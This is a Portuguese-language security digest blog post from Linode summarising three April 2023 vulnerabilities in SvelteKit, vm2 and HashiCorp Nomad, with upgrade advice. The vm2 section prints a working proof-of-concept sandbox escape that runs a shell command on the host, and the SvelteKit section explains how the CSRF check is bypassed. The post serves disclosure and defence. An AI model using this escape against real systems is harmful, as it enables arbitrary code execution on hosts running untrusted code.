Avançar para o conteúdo principal
BlogSegurançaLinode Security Digest 10 de Abril - 17 de Abril de 2023

Linode Security Digest 10 de Abril - 17 de Abril de 2023

Linode Security Digest

No resumo desta semana, discutiremos o seguinte:

  • Um bypass de protecção CSRF no SvelteKit;
  • Uma fuga de caixa de areia em versão vm2; e 
  • Um desvio de autorização ACL não autenticado para HashiCorp Nomad e Nomad Enterprise resultando em Escalada de Privilégios.
CVE-2023-29003: SvelteKit: CSRF Protection Bypass usando Cabeçalho Tipo Content-Type

Antecedentes

O SvelteKit é uma estrutura para construir aplicações web utilizando a biblioteca Svelte JavaScript. Proporciona uma experiência de desenvolvimento simplificada, incluindo características tais como renderização do lado do servidor, encaminhamento, e encaminhamento de páginas com base em ficheiros para fora da caixa.

Vulnerabilidade

A vulnerabilidade, CVE-2023-29003, afecta as versões do SvelteKit abaixo de 1.15.1 devido à insuficiente protecção contra a Falsificação de Pedidos em Lugares Cruzados (CSRF). Antes do SvelteKit 1.15.1, a protecção do CSRF foi executada quando três condições foram satisfeitas: (1) o pedido era um POST, (2) havia uma discrepância entre a origem do sítio e o cabeçalho HTTP de origem do pedido, e (3) se o pedido incluía o conteúdo do formulário, indicado por um Cabeçalho Content-Type de "aplicação/x-www-form-urlencoded" ou "multipart/form-data". 

Se todas estas condições fossem cumpridas, seria enviada uma resposta 403 Proibida ao pedido. Esta verificação poderia ser contornada através da utilização de um Content-Type diferente no pedido, como "text/plain".

Mitigação

  • A vulnerabilidade foi abordada no SvelteKit versão 1.15.1. A actualização para a versão mais recente é a forma recomendada para resolver este problema.
CVE-2023-29199: vm2: Escape de caixa de areia em transformador de código fonte

Antecedentes

vm2 é um módulo Node.js que fornece um ambiente de caixa de areia para a execução de código não confiável de forma segura. Permite a criação de contextos de execução isolados onde os atacantes podem executar código não confiado sem a capacidade de aceder ao contexto global ou a dados sensíveis.

Vulnerabilidade

A vulnerabilidade depende de uma excepção na lógica de saneamento do transformador de código fonte de vm2. Esta vulnerabilidade permite a um atacante contornar a função handleException() e vazar excepções não higienizadas do hospedeiro abrindo a porta para um atacante escapar da caixa de areia e executar código arbitrário no contexto do hospedeiro.

GitHub leesh3288 fez uma prova de conceito para explorar esta vulnerabilidade, o que mostra a facilidade com que o código pode ser executado no contexto do anfitrião:

const {VM} = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname
        .constructor
        .constructor('return process')()
        .mainModule.require('child_process')
        .execSync('touch pwned');
}
`

console.log(vm.run(code));

Mitigação

  • A vulnerabilidade foi abordada na versão vm2 3.9.16. A actualização para a versão mais recente é a forma recomendada para resolver este problema.
CVE-2023-1782: HashiCorp Nomad: Escalada não autenticada do Privilégio ACL Bypass

Antecedentes

HashiCorp Nomad é uma plataforma de orquestração de contentores que permite aos utilizadores implementar e gerir facilmente aplicações em vários ambientes, incluindo centros de dados, nuvens, e localizações de bordas. Fornece características tais como implementação automática, escalonamento e auto-cura, bem como suporte para múltiplos tempos de execução de contentores e algoritmos de agendamento.

Vulnerabilidade

Não há muitas especificidades para esta vulnerabilidade. No entanto, com base no relatório do pesquisador, os pedidos HTTP não autenticados podem contornar as autorizações ACL pretendidas sempre que um pedido é processado no servidor através de RPCs internos. Esta vulnerabilidade afecta o HashiCorp Nomad e HashiCorp Nomad Enterprise para as versões 1.5.0 até 1.5.2.

Mitigação

  • Esta vulnerabilidade pode ser remediada permitindo mTLS no seu cluster anfitrião.
  • Esta vulnerabilidade foi abordada em HashiCorp Nomad versão 1.5.3. A actualização para a versão mais recente é a forma recomendada para resolver este problema. 

Comentários

Deixe uma resposta

O seu endereço de correio electrónico não será publicado. Os campos obrigatórios estão marcados com *